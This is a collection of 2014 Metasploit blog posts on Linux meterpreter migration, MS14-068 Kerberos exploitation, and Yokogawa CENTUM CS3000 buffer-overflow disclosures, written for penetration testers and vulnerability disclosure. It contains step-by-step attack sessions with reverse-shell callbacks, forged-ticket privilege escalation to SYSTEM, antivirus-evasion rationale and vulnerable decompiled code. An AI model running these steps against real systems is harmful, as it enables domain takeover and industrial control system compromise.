And that's all for today! Stay tuned for more Flash exploits and the new Browser Autopwn being developed by sinn3r. We find the combination of these a powerful way to simulate targeted campaigns on your next pentest!

This post is the eleventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.


Hello everyone and Happy HaXmas (again) and New Year! On this HaXmas I would like to share with all you a new feature which I'm personally very happy with. It's nothing super new and has limitations, but it's the first meterpreter feature where I've been collaborating I feel really happy of sharing it with all you: support to migrate the Linux meterpreter payload.


Before going ahead, let me clarify something, as you can read on the meterpreter github page:


For some value of "working." Meterpreter in POSIX environments is not considered stable. It does stuff, but expect occasional problems.


Unfortunately it applies to the process migration feature too :\. So be careful when using linux meterpreter and this feature on your pentest! You can experience reliability problems :\ Hopefully these lines also will help to explain limitations and how to use the feature!


Requirement #1: From memory


First of all, linux migrate tries to be "imitate" the windows migrate behavior. It means there is an important requirement, migration should happen from memory, without dropping meterpreter to disk. On windows it's accomplished with the well-known OpenProcess, WriteProcessMemory, CreateRemoteThread, etc. IPC APIs. But these aren't available on Linux, where we decided to use the "ptrace" interface to modify a process memory, registers and control execution. Unfortunately, it introduces the first caveats:


  1. On modern Linux distributions, ptrace restrictions use to apply, so migration isn't always possible.
  2. Once the meterpreter code is injected in the target process, original process execution is replaced. It means the target process won't do its original task anymore, once migration has been accomplished.


That said, how to use it? On older systems, where ptrace limitations are not in use, say for example Ubuntu 10.04 (32 bits), the migration usage is straightforward. It's something like that:


  • Get a meterpreter session on your target:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

PAYLOAD => linux/x86/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 172.16.55.1

LHOST => 172.16.55.1

msf exploit(handler) > exploit

 

 

[*] Started reverse handler on 172.16.55.1:4444

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(100 bytes)

[*] Sending stage (1142784 bytes) to 172.16.55.1

[*] Meterpreter session 1 opened (172.16.55.1:4444 -> 172.16.55.1:54901) at 2014-12-31 10:43:02 -0600

 

 

meterpreter > getuid

Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

meterpreter > sysinfo

Computer     : ubuntu

OS           : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686)

Architecture : i686

Meterpreter  : x86/linux

meterpreter >

 

  • Use the ps command to find a target process. There are some things to remember:
  1. The session user must own the target process.
  2. Use interruptible (or running) processes as targets.
  3. The target process won't do its original task after migration.
  4. Remember which linux meterpreter is only available on 32 bits, so even when running on a 64 bits system, the meterpreter process will be a 32 bits one. And the migration target process must be a 32 bits one too.

meterpreter > ps -U juan

Filtering on user name...

 

 

Process List

============

 

 

PID    PPID  Name               Arch  Session  User  Path

---    ----  ----               ----  -------  ----  ----

1894   1     gnome-keyring-d          0        juan  /usr/bin/gnome-keyring-daemon --daemonize --login

1912   1220  gnome-session            0        juan  gnome-session

1946   1912  ssh-agent                0        juan  /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session gnome-session

1949   1     dbus-launch              0        juan  /usr/bin/dbus-launch --exit-with-session gnome-session

1950   1     dbus-daemon              0        juan  /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session

1953   1     gconfd-2                 0        juan  /usr/lib/libgconf2-4/gconfd-2

1960   1     gnome-settings-          0        juan  /usr/lib/gnome-settings-daemon/gnome-settings-daemon

1962   1     gvfsd                    0        juan  /usr/lib/gvfs/gvfsd

1970   1     gvfs-fuse-daemo          0        juan  /usr/lib/gvfs//gvfs-fuse-daemon /home/juan/.gvfs

1971   1     vmtoolsd                 0        juan  /usr/lib/vmware-tools/sbin32/vmtoolsd -n vmusr --blockFd 3

1972   1912  polkit-gnome-au          0        juan  /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1

1975   1912  gnome-panel              0        juan  gnome-panel

1978   1912  metacity                 0        juan  metacity --replace

1981   1912  nm-applet                0        juan  nm-applet --sm-disable

1983   1     pulseaudio               0        juan  /usr/bin/pulseaudio --start --log-target=syslog

1984   1912  nautilus                 0        juan  nautilus

1985   1912  gnome-power-man          0        juan  gnome-power-manager

1986   1912  bluetooth-apple          0        juan  bluetooth-applet

1995   1983  gconf-helper             0        juan  /usr/lib/pulseaudio/pulse/gconf-helper

2020   1     gvfs-gdu-volume          0        juan  /usr/lib/gvfs/gvfs-gdu-volume-monitor

2025   1     bonobo-activati          0        juan  /usr/lib/bonobo-activation/bonobo-activation-server --ac-activate --ior-output-fd=19

2028   1     gvfs-gphoto2-vo          0        juan  /usr/lib/gvfs/gvfs-gphoto2-volume-monitor

2031   1     gvfsd-trash              0        juan  /usr/lib/gvfs/gvfsd-trash --spawner :1.6 /org/gtk/gvfs/exec_spaw/0

2032   1     gvfs-afc-volume          0        juan  /usr/lib/gvfs/gvfs-afc-volume-monitor

2045   1     wnck-applet              0        juan  /usr/lib/gnome-panel/wnck-applet --oaf-activate-iid=OAFIID:GNOME_Wncklet_Factory --oaf-ior-fd=18

2046   1     trashapplet              0        juan  /usr/lib/gnome-applets/trashapplet --oaf-activate-iid=OAFIID:GNOME_Panel_TrashApplet_Factory --oaf-ior-fd=24

2054   1     clock-applet             0        juan  /usr/lib/gnome-panel/clock-applet --oaf-activate-iid=OAFIID:GNOME_ClockApplet_Factory --oaf-ior-fd=21

2055   1     notification-ar          0        juan  /usr/lib/gnome-panel/notification-area-applet --oaf-activate-iid=OAFIID:GNOME_NotificationAreaApplet_Factory --oaf-ior-fd=30

2058   1     indicator-apple          0        juan  /usr/lib/indicator-applet/indicator-applet-session --oaf-activate-iid=OAFIID:GNOME_FastUserSwitchApplet_Factory --oaf-ior-fd=36

2059   1     indicator-apple          0        juan  /usr/lib/indicator-applet/indicator-applet --oaf-activate-iid=OAFIID:GNOME_IndicatorApplet_Factory --oaf-ior-fd=42

2075   1     gvfsd-metadata           0        juan  /usr/lib/gvfs/gvfsd-metadata

2076   1     indicator-me-se          0        juan  /usr/lib/indicator-me/indicator-me-service

2078   1     indicator-messa          0        juan  /usr/lib/indicator-messages/indicator-messages-service

2097   1     indicator-sessi          0        juan  /usr/lib/indicator-session/indicator-session-service

2098   1     indicator-appli          0        juan  /usr/lib/indicator-application/indicator-application-service

2099   1     indicator-sound          0        juan  /usr/lib/indicator-sound/indicator-sound-service

2109   1     gvfsd-burn               0        juan  /usr/lib/gvfs/gvfsd-burn --spawner :1.6 /org/gtk/gvfs/exec_spaw/1

2112   1     gnome-terminal           0        juan  gnome-terminal

2114   1     gnome-screensav          0        juan  gnome-screensaver

2115   2112  gnome-pty-helpe          0        juan  gnome-pty-helper

2116   2112  bash                     0        juan  bash

2147   1912  gdu-notificatio          0        juan  /usr/lib/gnome-disk-utility/gdu-notification-daemon

2159   1912  evolution-alarm          0        juan  /usr/lib/evolution/2.28/evolution-alarm-notify

2160   1912  python                   0        juan  python /usr/share/system-config-printer/applet.py

2168   1912  update-notifier          0        juan  update-notifier

2310   2112  bash                     0        juan  bash

2745   1     notify-osd               0        juan  /usr/lib/notify-osd/notify-osd

2846   2112  bash                     0        juan  bash

2989   1     gvim                     0        juan  gvim

2991   2112  bash                     0        juan  bash

3378   1     [gedit] <defunct>        0        juan

5965   2846  gdb                      0        juan  gdb /bin/ls

17323  2991  [dummy] <defunct>        0        juan

18063  2310  msf.elf                  0        juan  ./msf.elf

18084  1     gcalctool                0        juan  gcalctool

23799  1     [gedit] <defunct>        0        juan

 

On the case above the "gcalctool" process looks like a good candidate for this DEMO. Of course, wouldn't be the best candidate on a real intrusion, since probably the calculator won't have a long live . The easy way to use the feature is jut to provide the target PID:

meterpreter > migrate 18084

[*] Migrating to 18084

[*] Migration completed successfully.

meterpreter > getpid

Current pid: 18084

meterpreter > getuid

Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

meterpreter >

 

Requirement #2: Reuse the original socket


As a second requirement, in order to imitate the windows behavior the meterpreter session socket will be reused. On Windows a socket can be duplicate on a remote process with WSADuplicateSocket. But such API doesn't exist on Linux as far as I know, you cannot dup() a socket on a process which isn't a child. Luckily UNIX domain sockets can be used with one caveat, they will use filesystem (which breaks the first requirement).

 

The most important reason for "in-memory" migration is to remain stealthy, avoiding security products such as antivirus monitoring filesystem. Hopefully, antivirus won't catch an UNIX Domain socket used just to share a socket as malicious, what makes us think it is not so bad! By default the UNIX domain socket will be written to "/tmp", but you can specify an alternate directory with an optional second argument which the command accepts:

 

meterpreter > migrate -h

Usage: migrate <pid> [writable_path]

 

 

Migrates the server instance to another process.

NOTE: Any open channels or other dynamic state will be lost.

 

meterpreter > migrate 2075 /home/juan/.pulse

[*] Migrating to 2075

[*] Migration completed successfully.

meterpreter > getpid

Current pid: 2075

 

And that's all for this HaXmas and introduction to linux meterpreter migration! As always, remember which the meterpreter code is also open source if you're interested on the details! And there is a lot of work to do with the Linux meterpreter, improving its reliability and features. It's a really interesting code to work with, with lot of awaiting joys . So, if you interested in collaborate with Metasploit it is definitely a good option to look at!

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

This post is the first in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2014.

 

Hello everyone and Happy HaXmas! In November of 2014, a really interesting vulnerability was published on Microsoft Windows Kerberos, maybe you have already heard about it... MS14-068. Microsoft published an blog post discussing some additional details. According to the blog post, the Kerberos code was failing to validate the PAC (Privilege Attribute Certificate) on TGS (Ticket Granting Service) requests. Microsoft credited to Tom Maddock and its team as vulnerability discoverer.

 

Shortly after the Microsoft Security Bulletin, some patch analysis was made public by beyondtrust. They noticed how the PAC signature verification was patched to avoid signatures using other schemas than MD5_HMAC. And early on December the first exploit become public, it was a Python Kerberos Exploitation Kit (pkek) written in Python by Sylvain Moinne. Following its release, more in-depth analysis about the vulnerability, its exploitation and defense arisen. I particularly liked the article from MWR.

 

Since there is a lot of information already available it will help me to keep the long history short :-). As it has been already explained in the above references the PAC is a data structure from Microsoft to support authentication on Windows environment through Kerberos based technology. It contains critical information for authorization, like the client groups membership. It is generated by the KDC, and the the client must provide it to the KDC when requesting service tickets with TGS requests. PAC signature should allow the KDC to detect tampering. Unfortunately it didn't happen before MS14-068.

 

This important piece of information (the PAC) isn't sent along with the TGT Ticket as Pre Authentication Data. But as enc-authorization-data in the KDC (TGS) request body. To encrypt this authorization data the session subkey is used, which is of course known by the client, and communicated to the KDC on another piece of information, the authenticator. This last one is encrypted with the session key, already shared between KDC and client. Maybe a draw will make it more clear (sorry for my drawing skills... no comments):

 

Screen Shot 2014-12-23 at 4.21.15 PM.png

 

So far so good, with the explanation above, it should be more clear to the reader that their own PAC signature is an essential piece of information for the PAC validation on the KDC. Unfortunately, as has been already explained, non-secure checksum schemas were allowed before MS14-068, allowing to any domain user capable of getting a TGT ticket, to ask for service tickets with a tampered PAC in the request, without needing the krbtgt private key at all.

 

But all this information has been already explained (and more in depth!) as has been pointed before. In the meanwhile here at Metasploit we have been working to put ready a module for people to test and exploit this vulnerability. Unfortunately, as you can guess, some solid Kerberos support is needed in order to make it happen. Something which Framework was missing. Hopefully after this pull request not anymore! It's not full Kerberos support, but it's good enough to exploit MS14-068. So let's go to review how to use it from the framework. The next scenario assumes a pen testing happening with network access to the target domain, it means being able to resolve DNS names from the target domain.

 

First of all, a new Metasploit auxiliary module has been released. It emulates the pkek behavior, abusing the vulnerability to get a new TGT ticket, this time with a forged PAC, authorizing user membership on domain administration groups. The module should be run against the KDC (domain controller). It's usage is straightforward, the user just needs to pay attention to the options format -- note that every option is required in order to ensure successful exploitation:

 

msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

msf auxiliary(ms14_068_kerberos_checksum) > show options

 

 

Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):

 

 

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   DOMAIN                     yes       The Domain (upper case) Ex: DEMO.LOCAL

   PASSWORD                   yes       The Domain User password

   RHOST                      yes       The target address

   RPORT     88               yes       The target port

   Timeout   10               yes       The TCP timeout to establish connection and read data

   USER                       yes       The Domain User

   USER_SID                   yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

 

 

msf auxiliary(ms14_068_kerberos_checksum) > set DOMAIN DEMO.LOCAL

DOMAIN => DEMO.LOCAL

msf auxiliary(ms14_068_kerberos_checksum) > set PASSWORD juan

PASSWORD => juan

msf auxiliary(ms14_068_kerberos_checksum) > set USER juan

USER => juan

msf auxiliary(ms14_068_kerberos_checksum) > set USER_SID S-1-5-21-1755879683-3641577184-3486455962-1000

USER_SID => S-1-5-21-1755879683-3641577184-3486455962-1000

msf auxiliary(ms14_068_kerberos_checksum) > set RHOST WIN-F46QAN3U3UH.demo.local

RHOST => WIN-F46QAN3U3UH.demo.local

msf auxiliary(ms14_068_kerberos_checksum) > run

 

 

[*] Validating options...

[*] Using domain DEMO.LOCAL...

[*] WIN-F46QAN3U3UH.demo.local:88 - Sending AS-REQ...

[*] WIN-F46QAN3U3UH.demo.local:88 - Parsing AS-REP...

[*] WIN-F46QAN3U3UH.demo.local:88 - Sending TGS-REQ...

[+] WIN-F46QAN3U3UH.demo.local:88 - Valid TGS-Response, extracting credentials...

[+] WIN-F46QAN3U3UH.demo.local:88 - MIT Credential Cache saved on /Users/jvazquez/.msf4/loot/20141223201326_default_172.16.158.135_windows.kerber os_194320.bin

[*] Auxiliary module execution completed

 

The TGT ticket (with privileged PAC information) has been saved in 20141223201326_default_172.16.158.135_windows.kerberos_194320.bin. This file is saved on MIT Kerberos Credential Cache format. This format is really useful because can be imported with Mimikatz on windows clients, or on *NIX clients using MIT kerberos. Unfortunately, the kiwi extension for meterpreter doesn't allow to import this format still. OJ is already working on it! (seriously if you enjoy meterpreter you should say THANK YOU to him!). In the meanwhile, mimikatz can be used to convert the format (any mimikatz installation will do the work, no need to be a domain machine or nothing like that):

 

mimikatz # kerberos::clist "20141223201326_default_172.16.158.135_windows.kerber

os_194320.bin" /export

 

Principal : (01) : juan ; @ DEMO.LOCAL

Data 0

           Start/End/MaxRenew: 12/24/2014 3:13:21 AM ; 12/24/2014 1:13:06 PM ; 1

2/31/2014 3:13:06 AM

           Service Name (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL

           Target Name  (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL

           Client Name  (01) : juan ; @ DEMO.LOCAL

           Flags 00000000    :

           Session Key       : 0x00000017 - rc4_hmac_nt

             1cf7188debe40565eb668b5fa0bf94fb

           Ticket            : 0x00000000 - null              ; kvno = 2

[...]

           * Saved to file 0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi !

mimikatz #

 

Okey, the exported file 0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi now can be used to be loaded through the kiwi meterpreter extension. The first thing needed is a session on a domain machine, and then use the kiwi extension to import the TGT ticket:

 

msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 172.16.158.1

lhost => 172.16.158.1

msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444

[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 172.16.158.131

 

meterpreter > getuid

Server username: DEMO\juan

meterpreter > load kiwi

Loading extension kiwi...

 

 

  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"

.## ^ ##.

## / \ ##  /* * *

## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)

  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */

 

success.

meterpreter > kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi

[*] Using Kerberos ticket stored in /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi, 1143 bytes

[+] Kerberos ticket applied successfully

meterpreter >

 

At this point, the windows current_user_psexec local exploit can be used to get SYSTEM sessions on the DOMAIN after this pull request by Meatballs. Remember that, in order to work, the machine running the msf console must be able to resolve names in the target domain:

 

msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 172.16.158.1

lhost => 172.16.158.1

msf exploit(handler) > exploit

 

[*] Started reverse handler on 172.16.158.1:4444

[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 172.16.158.131

 

meterpreter > getuid

Server username: DEMO\juan

meterpreter > load kiwi

Loading extension kiwi...

 

 

  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"

.## ^ ##.

## / \ ##  /* * *

## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)

  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */

 

 

success.

meterpreter > kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi

[*] Using Kerberos ticket stored in /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi, 1143 bytes

[+] Kerberos ticket applied successfully

meterpreter >

meterpreter > background

[*] Backgrounding session 1...

msf exploit(handler) > sessions

 

Active sessions

===============

  Id  Type                   Information            Connection

  --  ----                   -----------            ----------

  1   meterpreter x86/win32  DEMO\juan @ EXPLOITER  172.16.158.1:4444 -> 172.16.158.131:63380 (172.16.158.131)

 

msf exploit(handler) > use exploit/windows/local/current_user_psexec

msf exploit(current_user_psexec) > set TECHNIQUE PSH

TECHNIQUE => PSH

msf exploit(current_user_psexec) > set RHOSTS WIN-F46QAN3U3UH.demo.local

RHOSTS => WIN-F46QAN3U3UH.demo.local

msf exploit(current_user_psexec) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(current_user_psexec) > set lhost 172.16.158.1

lhost => 172.16.158.1

msf exploit(current_user_psexec) > set SESSION 1

SESSION => 1

msf exploit(current_user_psexec) > exploit

 

[*] Started reverse handler on 172.16.158.1:4444

[*] WIN-F46QAN3U3UH.demo.local Creating service 51cq2zJN6p

[*] WIN-F46QAN3U3UH.demo.local Starting the service

[*] Sending stage (770048 bytes) to 172.16.158.135

[*] WIN-F46QAN3U3UH.demo.local Deleting the service

 

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

 

 

And that's all for today! Hope all you enjoyed this HaXmas!

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

Last March 8th, @julianvilas and I spoke at RootedCON about our work with the Yokogawa CENTUM CS3000 product. As noted in the talk, we are releasing information about all of the vulnerabilities we found in the product at the time. Today, we're disclosing the last one of the discovered vulnerabilities.

 

For all of you who weren't able to attend RootedCON, we're going just to quote the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."

 

Vulnerability Summary

 

The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKFSim_vhfd.exe” service, started when running the “FCS / Test Function” for extended virtual testing, listens by default on 20010 (TCP and UDP). By sending a specially crafted packet to the port UDP/20010 it’s possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.

 

Disclosure Timeline

 

DateDescription
Mar 5, 2014Initial contact to Vendor
Mar 10, 2014Vendor advised contacting CERT/CC, JPCERT
Mar 11, 2014Disclosed to CERT/CC, CVE-2014-3888 assigned
May 07, 2014Metasploit module published in Pull Request #3499

 

Technical Analysis

 

The vulnerability exists in the function “sub_403E10” (IDA notation), used for logging purposes by the “BKFSim_vhfd.exe” service. The vulnerable function assembles log lines using a defined list of pre-formatted strings (format strings), and user controlled (tainted) data (in some cases). But it uses dangerous functions and static size stack buffers in order to do it, being the size of the buffers no longer enough for storing logs created with malicious user-controlled data.

 

Two vulnerable points have been found in the described function, which allow to corrupt two different stack buffers when logs are built with user controlled data:

 

BOOL sub_403E10(BOOL a1, const char *Format, ...)
{
  unsigned int v2; // ecx@1
  BOOL result; // eax@1
  unsigned int v4; // ebx@7
  void *v5; // edi@7
  HANDLE v6; // edx@7
  unsigned int v7; // ecx@7
  struct _SYSTEMTIME SystemTime; // [sp+0h] [bp-220h]@7
  DWORD NumberOfBytesWritten; // [sp+14h] [bp-20Ch]@7
  char Buffer[260]; // [sp+18h] [bp-208h]@7 // Overflow 2
  char Dest[260]; // [sp+11Ch] [bp-104h]@4 // Overflow 1
  va_list va; // [sp+22Ch] [bp+Ch]@1


  va_start(va, Format);
  HIWORD(v2) = 0;
  *((_WORD *)lpBaseAddress + 192) = 61;
  result = a1;
  LOWORD(v2) = *((_WORD *)lpBaseAddress + 177);
  if ( v2 >= a1 && Format && hObject != (HANDLE)-1 )
  {
    memset(Dest, 0, 0x100u);
    Dest[256] = 0;
    if ( strlen(Format) < 0x100 )
      vsprintf(Dest, Format, va);//Buffer Overflow 1: Dangerous use of vsprintf to copy data to the stack
    else
      sprintf(Dest, "data size too big (>= %i)", 256);
    GetLocalTime(&SystemTime);
    sprintf(
      &Buffer,
      "%02d/%02d/%02d %02d:%02d:%02d:%03d::sim_vhfd",
      SystemTime.wYear % 100,
      SystemTime.wMonth,
      SystemTime.wDay,
      SystemTime.wHour,
      SystemTime.wMinute,
      SystemTime.wSecond,
      SystemTime.wMilliseconds);
    v4 = strlen(Dest) + 1;
    v5 = &Buffer + strlen(&Buffer); // v5 points inside Buffer, after the log header
    memcpy(v5, Dest, 4 * (v4 >> 2)); // Buffer Overflow 2: Dangerous use of memcpy to copy data to the stack
    v6 = hObject;
    memcpy((char *)v5 + 4 * (v4 >> 2), &Dest[4 * (v4 >> 2)], v4 & 3);
    v7 = strlen(&Buffer);
    *(&Buffer + v7) = 13;
    Buffer[v7 - 1] = 10;
    WriteFile(v6, &Buffer, v7 + 2, &NumberOfBytesWritten, 0);
    result = FlushFileBuffers(hObject);
    *((_WORD *)lpBaseAddress + 192) = 62;
  }
  return result;
}






 

By sending specially crafted data to the UDP/20010 port, it’s possible to force a call to the vulnerable function with use controlled data of a size enough to overflow the stack buffers.

 

In order to demonstrate the vulnerability a malformed heartbeat (HealthFromUDP) package has been used. These packages are exchanged between the different HIS stations and the FCS simulator:

 

packets.png

According to our understanding of the packages:

 

  • The first 16 bytes are a header, were:
    • At offset 6 there is a two bytes packet identifier.
    • At offset 15 there is a one-byte packet length. 
  • The last 4 bytes are a trail.
  • The bytes between the header and the trail are the exchanged data (HIS station identifier in this case).

 

packet.png

 

  • Command/operation (heartbeat)
  • Packet Length
  • Data (HIS identifier)

 

When a packet like the above is received, the vulnerable program will try to build a log line with the next format:

 

"ERROR:HealthFromUDP():GetHostTblPosByName(hostname=%s) rtnno=%d"





 

And will use the HIS identifier to build the hostname, which leads to the already described buffer overflows.

 

Exploitation

 

Exploitation has been confirmed by sending a heartbeat packet with a long HIS Identifier in the Data field. In this way is possible to overflow the EIP saved on the stack (in fact it’s overwritten twice) and gain code execution since there isn’t stack cookie protection in the vulnerable function.

 

As proof of concept, a working exploit has been developed for Windows XP SP3 / Yokogawa Centum CS3000 R3.08.50, where is possible to gain arbitrary code execution:

 

msf > use exploit/windows/scada/yokogawa_bkfsim_vhfd

msf exploit(yokogawa_bkfsim_vhfd) > set RHOST 172.17.1.63

RHOST => 172.17.1.63

msf exploit(yokogawa_bkfsim_vhfd) >

msf exploit(yokogawa_bkfsim_vhfd) > rexploit

[*] Reloading module...

 

 

[*] Started bind handler

[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3 (English), sending 789 bytes...

[*] Sending stage (769024 bytes) to 172.17.1.63

[*] Meterpreter session 1 opened (172.17.1.1:58714 -> 172.17.1.63:4444) at 2014-02-17 23:03:24 +0100

 

 

meterpreter > getuid

Server username: HIS0163\CENTUM

meterpreter > sysinfo

Computer        : HIS0163

OS              : Windows XP (Build 2600, Service Pack 3).

Architecture    : x86

System Language : es_ES

Meterpreter     : x86/win32

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

Last March 8th, @julianvilas and I spoke at RootedCON about our work with the Yokogawa CENTUM CS3000 product, and disclosed three of the vulnerabilities we found on March 10 on this blog. As noted in the talk, we intended to release information about all of the vulnerabilities we found in the product at the time. Today, after some negotiation with Yokogawa and ICS-CERT, we're disclosing another of the discovered vulnerabilities, in a network service running by default in CENTUM CS3000 installation. The vendor asked for some extra time to assess and address this vulnerability, which is why we ended up with a slightly laggy disclosure schedule this time.

 

For all of you who weren't able to attend RootedCON, we're going just to quote the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."

 

Vulnerability Summary

 

The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKESimmgr.exe” service, started automatically on the System startup by default, listens on TCP/34205. By sending a specially crafted packet to the port TCP/34205 it’s possible to trigger an stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.

 

Disclosure Timeline

 

DateDescription
Dec 27, 2013Initial disclosure to the vendor, Yokogawa
Jan 13, 2014Disclosure to CERT/CC
Jan 14, 2014CERT/CC assigns VU#479196 and forwards details to JPCERT
Feb 03, 2014

CERT/CC confirms JPCERT and ICS-CERT are coordinating the vulnerabilities.

ICS-CERT tracking #: ICS-VU-205881

JPCERT tracking #: JVNVU#98181377, JPECERT#98191377

March 6, 2014Yokogawa and ICS-CERT asks for an extension for R7-2013-19.2 (this vulnerability)
May 9, 2014Metasploit module published in Pull Request #3344

 

Technical Analysis

 

The vulnerability exists in the function sub_409310 (IDA notation). This function tries to extract data (probably strings) from a user sent packet. But the function does an insecure usage of memcpy like function, to copy user controlled data to a static size (64 bytes) stack buffer:

 

.text:00409360 loc_409360:                            ; CODE XREF: get_string_sub_409310+42j
.text:00409360                mov    ecx, 10h
.text:00409365                xor    eax, eax
.text:00409367                lea    edi, [esp+50h+var_40]
.text:0040936B                add    esi, edx
.text:0040936D                rep stosd              ; init var_40 with 0x0.
.text:0040936F                mov    ecx, ebx        ; The memcpy length comes from user controlled data
.text:00409371                lea    edi, [esp+50h+var_40] ; destination, var_40 (0x40 bytes buffer)
.text:00409375                mov    edx, ecx
.text:00409377                lea    eax, [esp+50h+var_40]
.text:0040937B                shr    ecx, 2  ; divides the size by 4 because it's using rep movsd, where every movsd is for a double word (4 bytes)
.text:0040937E                rep movsd              ; esi pointing to user controlled data from the packet, leading to overflow








 

The above assembly chunk translates to:

 

char dst[64];
memset(dst, 0, 64);
memcpy(dst, user_data, user_length);








 

Where user_data and user_lenght are user controlled values.

 

Exploitation

 

It’s possible to reach the vulnerable copy function by sending a specially crafted packet to TCP/34205. According to our understanding the packet has the next format:

 

FieldLength
Header6 bytes
DataLength specified in the header

 

Where the header structure is:

 

FieldLength
Identifier4 bytes
Data Length2 bytes

 

A packet with an identifier 0x1 in the header can be used to trigger the vulnerability. For this packet the data structure is:

 

FieldLength
Identifier4 bytes
Data Length2 bytes
DataData Length bytes

 

A packet with “0x1” as Identifier in both the Header and the Data can be used to reach the vulnerable function. The Data Length and Data fields can be used to trigger the buffer overflow.

 

A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50 running on Windows XP SP3 and Windows 2003 SP2 (DEP bypas), where is possible to gain arbitrary code execution by corrupting the SEH handler stored in the stack:

 

msf exploit(yokogawa_bkesimmgr_bof) > exploit

[*] Started reverse handler on 192.168.172.1:4444

[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3, sending 427 bytes...

[*] Sending stage (770048 bytes) to 192.168.172.192

[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.192:1048) at 2013-11-17 21:17:14

-0600

meterpreter > getuid

Server username: HIS0101\CENTUM

meterpreter > sysinfo

Computer : HIS0101

OS : Windows XP (Build 2600, Service Pack 3).

Architecture : x86

System Language : en_US

Meterpreter : x86/win32

meterpreter >

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

On Saturday, March 8th, @julianvilas and I spoke at RootedCON about our work with the Yokogawa CENTUM CS3000 product. Today, as promised, we're publishing details for three of the vulnerabilities found in the product. For all of you who weren't able to attend RootedCON, we're going just to quote the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."

 

Vulnerabilities Summary

 

This report include details for three vulnerabilities found in different services used by the Yokogawa CENTUM CS3000 product in order to provide all its functionality. The vulnerabilities have been found in the version R3.08.50:

 

  • R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow: The "BKCLogSvr.exe" service, started automatically with the system, listens by default on UDP/52302. By sending a specially sequence of packets to UDP/52302 it’s possible to trigger a heap based buffer overflow, after an usage of uninitialized data, which allows to DoS the “BKCLogSvr.exe”, and on last instance, could allow execution of arbitrary code with SYSTEM privileges.
